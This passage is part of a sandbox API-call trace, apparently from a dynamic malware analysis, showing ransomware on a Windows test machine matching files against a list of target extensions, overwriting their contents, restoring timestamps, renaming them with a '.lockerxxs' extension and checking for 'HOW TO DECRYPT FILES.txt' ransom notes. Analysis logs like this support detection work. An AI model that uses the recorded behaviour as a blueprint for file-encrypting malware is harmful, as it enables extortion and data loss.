pszSpec="*.mbox") returned 0 [0084.104] lstrlenA (lpString="*.mbox") returned 6 [0084.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.eml") returned 0 [0084.104] lstrlenA (lpString="*.eml") returned 5 [0084.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.pst") returned 0 [0084.104] lstrlenA (lpString="*.pst") returned 5 [0084.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.ost") returned 0 [0084.104] lstrlenA (lpString="*.ost") returned 5 [0084.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.idx") returned 0 [0084.104] lstrlenA (lpString="*.idx") returned 5 [0084.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.dbx") returned 0 [0084.104] lstrlenA (lpString="*.dbx") returned 5 [0084.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.sql") returned 0 [0084.104] lstrlenA (lpString="*.sql") returned 5 [0084.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.mdb") returned 0 [0084.104] lstrlenA (lpString="*.mdb") returned 5 [0084.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.fdb") returned 0 [0084.105] lstrlenA (lpString="*.fdb") returned 5 [0084.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.wab") returned 0 [0084.105] lstrlenA (lpString="*.wab") returned 5 [0084.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.dat") returned 0 [0084.105] lstrlenA (lpString="*.dat") returned 5 [0084.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.txt") returned 0 [0084.105] lstrlenA (lpString="*.txt") returned 5 [0084.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.jpeg") returned 0 [0084.105] lstrlenA (lpString="*.jpeg") returned 6 [0084.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.jpg") returned 1 [0084.105] lstrlenA (lpString="*.jpg") returned 5 [0084.105] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg" [0084.105] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg" [0084.105] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg." [0084.105] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg.lockerxxs" [0084.105] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmyvh[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.106] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3e6b [0084.106] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x58321c40, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x58321c40, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x58321c40, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.106] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.106] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x3e45, lpOverlapped=0x0) returned 1 [0084.108] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg") returned="BBBMyVh[1].jpg" [0084.109] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.109] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3e45, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3e45, lpOverlapped=0x0) returned 1 [0084.109] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.109] CloseHandle (hObject=0xa4) returned 1 [0084.109] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmyvh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmyvh[1].jpg.lockerxxs")) returned 1 [0084.110] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53337450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53337450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53337450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x812, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBNAf7[1].jpg", cAlternateFileName="BBBNAF~1.JPG")) returned 1 [0084.110] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.110] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBNAf7[1].jpg") returned 1 [0084.110] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBNAf7[1].jpg") returned 1 [0084.110] lstrcmpiA (lpString1="", lpString2="BBBNAf7[1].jpg") returned -1 [0084.110] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg") returned="BBBMyVh[1].jpg" [0084.110] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.110] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.110] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.111] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.111] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBNAf7[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg" [0084.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.ems") returned 0 [0084.111] lstrlenA (lpString="*.ems") returned 5 [0084.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.db") returned 0 [0084.111] lstrlenA (lpString="*.db") returned 4 [0084.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.dbf") returned 0 [0084.111] lstrlenA (lpString="*.dbf") returned 5 [0084.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.myox") returned 0 [0084.111] lstrlenA (lpString="*.myox") returned 6 [0084.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.myo") returned 0 [0084.111] lstrlenA (lpString="*.myo") returned 5 [0084.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.qbw") returned 0 [0084.111] lstrlenA (lpString="*.qbw") returned 5 [0084.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.qbb") returned 0 [0084.111] lstrlenA (lpString="*.qbb") returned 5 [0084.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.qbm") returned 0 [0084.111] lstrlenA (lpString="*.qbm") returned 5 [0084.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.qbo") returned 0 [0084.111] lstrlenA (lpString="*.qbo") returned 5 [0084.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.qbx") returned 0 [0084.112] lstrlenA (lpString="*.qbx") returned 5 [0084.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.qba") returned 0 [0084.112] lstrlenA (lpString="*.qba") returned 5 [0084.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.qby") returned 0 [0084.112] lstrlenA (lpString="*.qby") returned 5 [0084.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.qbj") returned 0 [0084.112] lstrlenA (lpString="*.qbj") returned 5 [0084.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.ofx") returned 0 [0084.112] lstrlenA (lpString="*.ofx") returned 5 [0084.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.qif") returned 0 [0084.112] lstrlenA (lpString="*.qif") returned 5 [0084.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.mye") returned 0 [0084.112] lstrlenA (lpString="*.mye") returned 5 [0084.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.mbox") returned 0 [0084.112] lstrlenA (lpString="*.mbox") returned 6 [0084.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.eml") returned 0 [0084.112] lstrlenA (lpString="*.eml") returned 5 [0084.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.pst") returned 0 [0084.113] lstrlenA (lpString="*.pst") returned 5 [0084.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.ost") returned 0 [0084.113] lstrlenA (lpString="*.ost") returned 5 [0084.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.idx") returned 0 [0084.113] lstrlenA (lpString="*.idx") returned 5 [0084.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.dbx") returned 0 [0084.113] lstrlenA (lpString="*.dbx") returned 5 [0084.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.sql") returned 0 [0084.113] lstrlenA (lpString="*.sql") returned 5 [0084.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.mdb") returned 0 [0084.113] lstrlenA (lpString="*.mdb") returned 5 [0084.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.fdb") returned 0 [0084.113] lstrlenA (lpString="*.fdb") returned 5 [0084.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.wab") returned 0 [0084.113] lstrlenA (lpString="*.wab") returned 5 [0084.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.dat") returned 0 [0084.113] lstrlenA (lpString="*.dat") returned 5 [0084.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.txt") returned 0 [0084.113] lstrlenA (lpString="*.txt") returned 5 [0084.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.jpeg") returned 0 [0084.114] lstrlenA (lpString="*.jpeg") returned 6 [0084.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", pszSpec="*.jpg") returned 1 [0084.114] lstrlenA (lpString="*.jpg") returned 5 [0084.114] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg" [0084.114] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg" [0084.114] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg." [0084.114] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg.lockerxxs" [0084.114] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnaf7[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.115] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x812 [0084.115] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53337450, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53337450, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53337450, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.115] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.115] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x7ec, lpOverlapped=0x0) returned 1 [0084.117] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg") returned="BBBNAf7[1].jpg" [0084.117] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.117] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7ec, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7ec, lpOverlapped=0x0) returned 1 [0084.117] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.117] CloseHandle (hObject=0xa4) returned 1 [0084.117] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet 